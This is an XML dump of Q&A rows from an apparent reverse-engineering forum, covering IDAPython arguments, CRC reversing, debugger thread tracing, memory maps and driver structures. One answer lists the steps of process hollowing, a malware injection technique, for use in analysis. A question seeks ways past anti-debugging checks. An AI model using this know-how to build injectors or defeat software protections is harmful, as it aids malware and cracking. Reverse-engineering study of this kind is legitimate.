  <row Id="8427" PostTypeId="2" ParentId="8425" CreationDate="2015-03-09T17:10:45.417" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there something I'm missing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The disconnect is that the &lt;a href=&quot;http://www2.onlinedisassembler.com/odaweb/&quot; rel=&quot;nofollow&quot;&gt;ODA&lt;/a&gt; disassembler referenced in &lt;a href=&quot;http://blog.onlinedisassembler.com/blog/?p=23&quot; rel=&quot;nofollow&quot;&gt;http://blog.onlinedisassembler.com/blog/?p=23&lt;/a&gt; produces different output than WinDbg's disassembler given the same input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps what you're &quot;missing&quot; is based on the assumption that all disassemblers produce the same output given the same input, which is not a correct assumption to make.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-09T17:10:45.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8428" PostTypeId="1" CreationDate="2015-03-10T03:22:28.467" Score="4" ViewCount="2743" Body="&lt;p&gt;Using IDA 6.6, I cannot pass command line arguments to the IDAPython script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command I use is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaq64 -c -A -S&quot;myscrip.py arg1&quot; thebinpath. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the demo script &lt;code&gt;myscript.py&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;if len(sys.argv) &amp;gt;= 2:&#xA;    print(&quot;Successfully received parameters: &quot; + str(sys.argv))&#xA;else:&#xA;    print(&quot;Failed receiving parameters!!&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I obviously expect the python script to print the &quot;Successfully received parameters&quot; sentence with &quot;arg1&quot; as the only parameter, however &quot;Failed receiving parameters!!&quot; is printed instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some unknown reason &lt;code&gt;sys.argv&lt;/code&gt; has only one string (&lt;code&gt;myscript.py&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that there might be another way of getting these parameters, is this right?&lt;/p&gt;&#xA;" OwnerUserId="11952" LastEditorUserId="2147" LastEditDate="2018-07-27T05:01:01.270" LastActivityDate="2018-07-27T11:49:27.963" Title="IDAPro, the arguments could not be passed to the python script" Tags="|ida|idapython|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="8429" PostTypeId="1" CreationDate="2015-03-10T06:04:13.970" Score="4" ViewCount="2353" Body="&lt;p&gt;I am trying to create a communication interface using C Language to an Air conditioning system, after analyzing the data packets I have identified that the data packet is consist of an 8 bit CRC (I am pretty sure the CRC is the last byte because the rest of the data only changes when I change something in the settings).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I need to do now is to be able to reverse engineer the process on how to come up with this CRC&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A802000000001F5D0000000073&#xA;A802000000001E5D0000000070&#xA;A802000000001D5D0000000071&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the data above I purposely changed &lt;code&gt;1F&lt;/code&gt; -&gt; &lt;code&gt;1E&lt;/code&gt; -&gt; &lt;code&gt;1D&lt;/code&gt; and as you can see the value of last byte changed from &lt;code&gt;73&lt;/code&gt; -&gt; &lt;code&gt;70&lt;/code&gt; -&gt; &lt;code&gt;71&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried different on-line CRC calculators but still had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to capture more data samples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A80300000004045D0000000045&#xA;A80300000004055D0000000044&#xA;A803000000040F61000000004A&#xA;A802000000040F61000000004B&#xA;A81200004004169A00000000FB&#xA;A81200004004159A00000000F8&#xA;A81200004004149A00000000E5&#xA;A81200084000149C00000000E7&#xA;A83200084000149C0000000087&#xA;A85200084000149C00000000A7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="11953" LastEditorUserId="53" LastEditDate="2015-03-10T08:38:44.380" LastActivityDate="2015-03-10T08:38:44.380" Title="Reverse Engineering a 8 bit CRC checksum" Tags="|c|hash-functions|crc|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8430" PostTypeId="2" ParentId="8422" CreationDate="2015-03-10T09:53:49.037" Score="0" Body="&lt;p&gt;if the Thread is &lt;strong&gt;Created Suspended&lt;/strong&gt; and Resume thread is called for the &lt;strong&gt;first time&lt;/strong&gt; ollydbg will not show the thread in its &lt;code&gt;thread window&lt;/code&gt; nor will the stack trace for the thread be available in stack window &lt;code&gt;(ALT+K)-&amp;gt;Right Click-&amp;gt;Thread -&amp;gt;Checkmark&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in such cases you can set a  breakpoint on  the following apis &lt;/p&gt;&#xA;&#xA;&lt;p&gt;follow through is based on xp sp3 layout (you may need a bit of tweking in newer os )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1) ntdll!NtContinue / ZwContinue  (can be found without symbol )    &#xA;2) ntdll!ZwRegisterThreadTerminateport (can find this too without symbol)    &#xA;3) CsrNewThread  (needs symbol)   &#xA;4) BaseThreadStartThunk ditto    &#xA;5) BaseThreadStart  ditto     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Resume thread will break on either of these apis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it is broken on &lt;strong&gt;Zw/Nt Continue&lt;/strong&gt; follow the &lt;code&gt;context-&amp;gt;eip&lt;/code&gt; from the stack &lt;strong&gt;[[esp+4] + 0xb8]&lt;/strong&gt; and set a breakpoint on the eip found (this address normally will be &lt;code&gt;BaseThreadStartThunk which is directly identifiable if you have public symbols loaded&lt;/code&gt; )  and hit &lt;strong&gt;go&lt;/strong&gt;  once you are on BaseThreadStartThunk single step &lt;strong&gt;f8&lt;/strong&gt; few times until you get to an &lt;strong&gt;indirect call&lt;/strong&gt;  &lt;code&gt;call dword ptr ds:[R32 + CONST]&lt;/code&gt;  this is your ThreadProc    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it is broken on &lt;strong&gt;ZwRegisterTerminatePort&lt;/strong&gt; you need to just single step (you will return to csrNewThread which you can find if symbols are available) and keep f8ing until you get to the indirect call stated above to land on ThreadProc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the other apis are included in the above and can reduce the number of single step &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ntdll!ZwRegisterThreadTerminatePort is the closest break prior to ThreadProc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;needs one &lt;code&gt;ctrl+f9 (execute until return) and 3 f8 (single step)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if windbg / livekd is an option this script can retrieve the eip when broken on ResumeThread call be it  Firsttime Resume or subsequent resumes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.foreach /ps 8 /pS 0n19 (place { !process 0 4 ${$arg1} } ) {.printf &quot;ETHREAD = %x\n&quot;, place ; r? $t0 =  (((nt!_ETHREAD *) @@masm( place ))-&amp;gt;Tcb) ; r? $t1 = @$t0.StackLimit;r? $t2 = @$t0.InitialStack;.foreach (vlace {s -[1]d @$t1 @$t2 0x23 0x23 } ) {dt nt!_KTRAP_FRAME DbgEip Eip  @@masm(${vlace}-34) }}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-03-11T21:47:02.683" LastActivityDate="2015-03-11T21:47:02.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8431" PostTypeId="2" ParentId="8422" CreationDate="2015-03-10T12:13:30.007" Score="0" Body="&lt;p&gt;Based on provided information I suspect that the used method here is Dynamic forking of a process or as it also know process hollowing. The idea is to execute some arbitrary process in suspended state and replace its &quot;guts&quot; with the contents of another executable image. In general the idea could be implemented as following (based on &lt;em&gt;Dynamic forking&lt;/em&gt; by Tan Chew Keong, 2004):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;CreateProcess&lt;/code&gt; API with the &lt;code&gt;CREATE_SUSPENDED&lt;/code&gt; parameter to create a suspended process from any EXE file. (Call this the first EXE).&lt;/li&gt;&#xA;&lt;li&gt;Call &lt;code&gt;GetThreadContext&lt;/code&gt; API to obtain the register values (thread context) of the suspended process. The EBX register of the suspended process points to the process's PEB. The EAX register contains the entry point of the process (first EXE).&lt;/li&gt;&#xA;&lt;li&gt;Obtain the base-address of the suspended process from its PEB, i.e. at [EBX+8]&lt;/li&gt;&#xA;&lt;li&gt;Load the second EXE into memory (using ReadFile) and perform the neccessary alignment manually. This is required if the file alignment is different from the memory alignment&lt;/li&gt;&#xA;&lt;li&gt;If the second EXE has the same base-address as the suspended process and its image-size is &amp;lt;= to the image-size of the suspended process, simply use the &lt;code&gt;WriteProcessMemory&lt;/code&gt; function to write the image of the second EXE into the memory space of the suspended process, starting at the base-address.&lt;/li&gt;&#xA;&lt;li&gt;Otherwise, unmap the image of the first EXE using &lt;code&gt;ZwUnmapViewOfSection&lt;/code&gt; (exported by ntdll.dll) and use VirtualAllocEx to allocate enough memory for the second EXE within the memory space of the suspended process. The &lt;code&gt;VirtualAllocEx&lt;/code&gt; API must be supplied with the base-address of the second EXE to ensure that Windows will give us memory in the required region. Next, copy the image of the second EXE into the memory space of the suspended process starting at the allocated address (using &lt;code&gt;WriteProcessMemory&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;If the unmap operation failed but the second EXE is relocatable (i.e. has a relocation table), then allocate enough memory for the second EXE within the suspended process at any location. Perform manual relocation of the second EXE based on the allocated memory address. Next, copy the relocated EXE into the memory space of the suspended process starting at the allocated address (using &lt;code&gt;WriteProcessMemory&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Patch the base-address of the second EXE into the suspended process's PEB at [EBX+8].&lt;/li&gt;&#xA;&lt;li&gt;Set EAX of the thread context to the entry point of the second EXE.&lt;/li&gt;&#xA;&lt;li&gt;Use the SetThreadContext API to modify the thread context of the suspended process.&lt;/li&gt;&#xA;&lt;li&gt;Use the ResumeThread API to resume execute of the suspended process.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, to answer your question I firstly suggest to verify that this indeed happens. Secondly, if it does you can do the following to break on the new created thread entry point. The proposed way is not the only one, but IMHO will be easy done taking into account your relatively small experience in RE/executable analysis:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the &lt;a href=&quot;http://www.rohitab.com/discuss/topic/35564-win32-forking/&quot; rel=&quot;nofollow&quot;&gt;PoC&lt;/a&gt; to actually get the full understanding of the whole process.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Place BP on &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680632(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;SetThreadContext&lt;/a&gt;. The second parameter is &lt;code&gt;CTX&lt;/code&gt; variable which holds among various aspects of the thread context, also the address of the thread function.&lt;/li&gt;&#xA;&lt;li&gt;In the nutshell, you need to examine &lt;code&gt;CTX.eax&lt;/code&gt; to get the address of the thread function. For example &lt;code&gt;0x00402030&lt;/code&gt; is the address you've found there. &lt;/li&gt;&#xA;&lt;li&gt;Download and install &lt;a href=&quot;http://processhacker.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;ProcessHacker&lt;/a&gt; and with its help, examine the address space of the suspended process. Open the memory page to which the thread function belongs to - &lt;em&gt;Right click on process -&gt; Properties -&gt; Memory&lt;/em&gt;. For example page &lt;code&gt;0x00400000&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;ProcessHacker will show you the memory page with local offsets to the page. You will need to go to the offset &lt;code&gt;0x2030&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Patch the memory at offset &lt;code&gt;0x2030&lt;/code&gt; with &lt;code&gt;0xEBFE&lt;/code&gt; (remember the previous bytes), this makes the thread loop indefinitely - &lt;code&gt;jmp 0x00402030&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now, resume the parent process and attache the new instance of &lt;code&gt;Olly&lt;/code&gt; to the suspended process which now is already running. Go to the EP and patch back to the original bytes. &lt;/li&gt;&#xA;&lt;li&gt;Good luck with the analysis.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope this is understandable otherwise ask and I'll clarify. &lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2015-03-10T12:19:31.437" LastActivityDate="2015-03-10T12:19:31.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8434" PostTypeId="1" AcceptedAnswerId="8436" CreationDate="2015-03-10T23:38:26.527" Score="0" ViewCount="2620" Body="&lt;p&gt;I am trying to obtain the memory map of a process. One way I can think of doing this is to attach Olly/Immunity Debugger to the process and copy the memory map to the clipboard. However, this is probably not a good idea when I'd like to repeat this multiple times consecutively. Is there a tool similar to &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb896656.aspx&quot; rel=&quot;nofollow&quot;&gt;ListDLLs&lt;/a&gt; that can be used to achieve this? I noticed procdump can be used to dump the memory of a process but I don't need a memory dump: I just need a list of valid memory locations.&lt;/p&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2015-03-11T07:30:45.610" Title="Automatically list of mapped memory locations(and their attributes) of a running process" Tags="|windows|memory|dumping|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8436" PostTypeId="2" ParentId="8434" CreationDate="2015-03-11T06:28:18.280" Score="2" Body="&lt;p&gt;Mark Russinovich's &lt;a href=&quot;https://technet.microsoft.com/en-US/sysinternals&quot; rel=&quot;nofollow noreferrer&quot;&gt;SysInternals&lt;/a&gt; suite contains a utility named &lt;a href=&quot;https://technet.microsoft.com/en-us/library/dd535533.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;VMMap&lt;/a&gt;, which can be used to view the memory layout of a process and/or dump the information in various formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Brendan mentioned, an answer in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8297/proc-self-maps-equivalent-on-windows/8299#8299&quot;&gt;/proc/self/maps equivalent on Windows&lt;/a&gt; shows how to obtain the information via calls to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366907%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirtualQueryEx()&lt;/a&gt;. So you could easily whip up your own customised utility by writing a few lines of C/C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the memory layout is not static. Stacks can grow, sections can be unmapped, blocks allocated or freed, reserved space be committed, valid pages be made inaccessible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the goal of the operation it may be best to integrate the querying of memory layout info with the process that uses it, which makes it easier to achieve the desired accuracy. Things to ponder here are caching (for performance) versus snapshot semantics (to achieve consistent views).&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-03-11T06:37:21.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8437" PostTypeId="2" ParentId="8434" CreationDate="2015-03-11T07:15:16.967" Score="0" Body="&lt;p&gt;execute this bat file  you will need windbg in path &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it attaches to a running process (hard coded as calc.exe you can script it with %1) dumps the memory map filtered by page_readonly and mapped file and detaches automatically when quitting and sleeps for 10 seconds before repeating and pipes (appends its output to a file of choice that can be processed with your favorite text processing tool)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:begin&#xA;echo Date and Time of Address Dump = %date%%time% &amp;gt;&amp;gt; address.text&#xA;cdb -pd -c &quot;!address -1 -F:PAGE_READONLY,FILEMAP;q&quot; -pn calc.exe &amp;gt;&amp;gt; address.text&#xA;sleep 10&#xA;goto begin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can use any test processing tool to parse the output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:grep -iE  &quot;Date and Time of Address Dump | 80000 &quot; address.text&#xA;Date and Time of Address Dump = 11/03/201512:25:21.01&#xA;   80000    83000     3000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY MemoryMappedFile &quot;PageFile&quot;&#xA;Date and Time of Address Dump = 11/03/201512:25:23.15&#xA;   80000    83000     3000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY MemoryMappedFile &quot;PageFile&quot;&#xA;Date and Time of Address Dump = 11/03/201512:25:26.82&#xA;   80000    83000     3000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY MemoryMappedFile &quot;PageFile&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-03-11T07:30:45.610" LastActivityDate="2015-03-11T07:30:45.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8440" PostTypeId="1" AcceptedAnswerId="8441" CreationDate="2015-03-11T11:33:14.170" Score="5" ViewCount="6141" Body="&lt;p&gt;I've got a procedure in IDA Pro with a few local stack variables, but part of them belong to an array. I would like to define the array, but pressing &lt;code&gt;*&lt;/code&gt; (Create Array) fails, and pressing &lt;code&gt;Y&lt;/code&gt; (Set Type) just brings up the type for the procedure, not the variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same happens if I hover over an instance of its usage rather than its definition in the function prologue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly enough I seem to be able to rename them just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I define a range of local variables to be an array; or, why is it not working for me?&lt;/p&gt;&#xA;" OwnerUserId="11965" LastActivityDate="2015-03-11T11:57:29.567" Title="How to make stack variables into an array in IDA Pro" Tags="|ida|stack-variables|stack|array|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8441" PostTypeId="2" ParentId="8440" CreationDate="2015-03-11T11:57:29.567" Score="5" Body="&lt;p&gt;Double click the variable name in the disassembly, or press ctrl-k, to open the stack frame window. You can change your variable types there.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-11T11:57:29.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8442" PostTypeId="1" CreationDate="2015-03-11T13:23:50.407" Score="10" ViewCount="3046" Body="&lt;p&gt;I'm debugging this process which has a lot of anti debugging techniques in it, and I faced something new which I don't know how to bypass yet.&lt;/p&gt;&#xA;&lt;p&gt;Changing the code dynamically causes exceptions to occur and the process to crash.&#xA;So setting &lt;code&gt;INT 3&lt;/code&gt; breakpoints is not an option. The way I'm debugging the process is only with &lt;code&gt;Hardware Breakpoints&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now I have found the function (at least one of them…) which reads portions of the memory and using some CheckSum function over that memory, and then it checks if the memory CheckSum is as it expected. If I changed one byte in the memory, the CheckSum would not be as expected, thus the process would crash. This is actually very simple and done like this in the code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CMP EAX,EDX                  ; Compare CheckSum&#xA;JE __GoodCode                  ; jmp must be taken&#xA;CALL &amp;lt;CrashProgram&amp;gt;&#xA;__GoodCode: &#xA;XOR EAX,EAX&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The hex value of &lt;code&gt;JE short&lt;/code&gt; is &lt;code&gt;0x74 0x0B&lt;/code&gt; and I want to change it to &lt;code&gt;JMP short&lt;/code&gt; which is &lt;code&gt;0xEB 0x0B&lt;/code&gt;. When I do that, the program would crash.&#xA;I found out where the program is crashing using &lt;code&gt;Memory breakpoints&lt;/code&gt; at different places of the code and then I found the function doing the CheckSum (it reads all the memory). But now I figured out there is another existing function which probably does something similar! causing the program to crash.&lt;/p&gt;&#xA;&lt;p&gt;But this time when I put a &lt;code&gt;Memory breakpoint&lt;/code&gt; on my 'changed' JE to JMP it never stops on the breakpoint.&lt;/p&gt;&#xA;&lt;p&gt;So this is my first problem, another problem I had is that I had a function I suspected had something to do with the crashing when changing the code, but when I set a &lt;code&gt;Hardware breakpoint&lt;/code&gt; on it, it didn't break. I know for sure that this function is being called and the code definitely runs. So I thought to myself there is probably something making sure my &lt;code&gt;Memory &amp;amp; Hardware breakpoints&lt;/code&gt; won't work, some sort of anti-debugging mechanism.&lt;/p&gt;&#xA;&lt;p&gt;I read a little bit about it and found out about &lt;code&gt;GetThreadContext&lt;/code&gt;, in my case it calls &lt;code&gt;Wow64GetThreadContext&lt;/code&gt;. It receives a Context structure which holds most registers. Here is how the Context structure looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CONTEXT _X86_&#xA;&#xA;typedef struct _CONTEXT {&#xA;DWORD ContextFlags;&#xA;/* ContextFlags contians CONTEXT_DEBUG_REGISTERS. */&#xA;DWORD Dr0;&#xA;DWORD Dr1;&#xA;DWORD Dr2;&#xA;DWORD Dr3;&#xA;DWORD Dr6;&#xA;DWORD Dr7;&#xA;/* ContextFlags contians CONTEXT_FLOATING_POINT. */&#xA;FLOATING_SAVE_AREA FloatSave;&#xA;/* ContextFlags contians CONTEXT_SEGMENTS. */&#xA;DWORD SegGs;&#xA;DWORD SegFs;&#xA;DWORD SegEs;&#xA;DWORD SegDs;&#xA;/* ContextFlags contians CONTEXT_INTEGER.*/&#xA;DWORD Edi;&#xA;DWORD Esi;&#xA;DWORD Ebx;&#xA;DWORD Edx;&#xA;DWORD Ecx;&#xA;DWORD Eax;&#xA;/* ContextFlags contians CONTEXT_CONTROL */&#xA;DWORD Ebp;&#xA;DWORD Eip;&#xA;DWORD SegCs; // MUST BE SANITIZED&#xA;DWORD EFlags; // MUST BE SANITIZED&#xA;DWORD Esp;&#xA;DWORD SegSs;&#xA;/* ContextFlags word contains CONTEXT_EXTENDED_REGISTERS */&#xA;BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];&#xA;} CONTEXT;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms679284(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/desktop/ms679284(v=vs.85).aspx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The first parameters are my &lt;code&gt;Hardware breakpoints&lt;/code&gt; and I can see them clearly, but it doesn't seem like it does something with their values. So I don't think it's this function which is causing the crash. Whenever it is called, it seems more like a debug code. Also, this function is never called regularly - only after the program is crashing.&lt;/p&gt;&#xA;&lt;p&gt;Now there is also &lt;code&gt;ReadProcessMemory&lt;/code&gt; which I read it might bypass my &lt;code&gt;Memory breakpoints&lt;/code&gt; for some reason. I set logging breakpoints on that function and it never seemed like it reads a &lt;code&gt;Page&lt;/code&gt;(size 0x1000) close to the function I changed, and yes I checked the size it was reading as well.&#xA;Although this function is called regularly it still doesn't seem like this is it.&lt;/p&gt;&#xA;&lt;p&gt;I have also heard about &lt;code&gt;ZwProtectVirtualMemory&lt;/code&gt; functions to change the attributes of memory regions so that the &lt;code&gt;Memory breakpoint&lt;/code&gt; 'exceptions' won't occur, and the debugger won't receive them. This function is being called out, but I'm not sure what is the usage, or what parameters are relevant to me in the memory.&lt;/p&gt;&#xA;&lt;p&gt;Is there anything else I might be missing?&lt;/p&gt;&#xA;&lt;p&gt;The article I was reading which was helping me quite a lot, but did not help me find out what was causing the crash:&#xA;&lt;a href=&quot;http://waleedassar.blogspot.in/2012/11/defeating-memory-breakpoints.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://waleedassar.blogspot.in/2012/11/defeating-memory-breakpoints.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I have changed my wording of this question. I hope it's clearer now.&lt;/p&gt;&#xA;" OwnerUserId="11510" LastEditorUserId="37138" LastEditDate="2021-08-08T11:31:21.680" LastActivityDate="2021-08-08T11:31:21.680" Title="Anti-debugging techniques - Preventing me from setting a memory and hardware breakpoint. How can I bypass that?" Tags="|windows|assembly|ollydbg|anti-debugging|winapi|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="8443" PostTypeId="1" CreationDate="2015-03-11T13:34:34.467" Score="1" ViewCount="1006" Body="&lt;p&gt;PDEVICE_EXTENSION is a Structure.&#xA;And fdo is device structure object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION) fdo-&amp;gt;DeviceExtension;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What Does it mean about the following code? &lt;/p&gt;&#xA;" OwnerUserId="11966" LastActivityDate="2015-03-11T14:18:31.983" Title="What does Device Extension means" Tags="|driver|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2015-03-18T08:36:06.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="8444" PostTypeId="2" ParentId="8443" CreationDate="2015-03-11T14:18:31.983" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff543119%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/windows/hardware/ff543119%28v=vs.85%29.aspx&lt;/a&gt; --&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Device Extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For most intermediate and lowest-level drivers, the device extension&#xA;is the most important data structure associated with a device object.&#xA;Its internal structure is driver-defined, and it is typically used to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Maintain device state information.&lt;/li&gt;&#xA;&lt;li&gt;Provide storage for any&#xA;kernel-defined objects or other system resources, such as spin locks,&#xA;used by the driver.&lt;/li&gt;&#xA;&lt;li&gt;Hold any data the driver must have resident and in&#xA;system space to carry out its I/O operations.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-03-11T14:18:31.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8446" PostTypeId="1" CreationDate="2015-03-11T17:14:45.163" Score="0" ViewCount="242" Body="&lt;p&gt;I'd like to be able to point to a buffer in memory likely on the heap and have a tool tell me which part of the binary created the data in the file.&#xA;What tools can do that for me?&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2020-10-29T10:03:35.393" Title="How to find what code created some data?" Tags="|tools|binary-analysis|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8448" PostTypeId="2" ParentId="8446" CreationDate="2015-03-11T18:15:43.460" Score="1" Body="&lt;p&gt;If you are using a debugger like gdb, you could set a hardware breakpoint at the heap address. From the &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Set-Breaks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;gdb manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;hbreak args&lt;/p&gt;&#xA;&lt;p&gt;Set a hardware-assisted breakpoint. ... These targets will generate traps when a program accesses some data or instruction address that is assigned to the debug registers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;After setting a hardware breakpoint, the debugger will trap when the memory is accessed for a read or a write.&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-03-11T18:15:43.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8449" PostTypeId="2" ParentId="8044" CreationDate="2015-03-12T02:24:16.450" Score="1" Body="&lt;p&gt;Using the deodex option &quot;-x&quot; is not required since you're not performing baksmali on an odex. Just run baksmali on the dex file. You can also use apktool to unpack/pack everything, which I think is easier.&lt;/p&gt;&#xA;" OwnerUserId="11970" LastActivityDate="2015-03-12T02:24:16.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
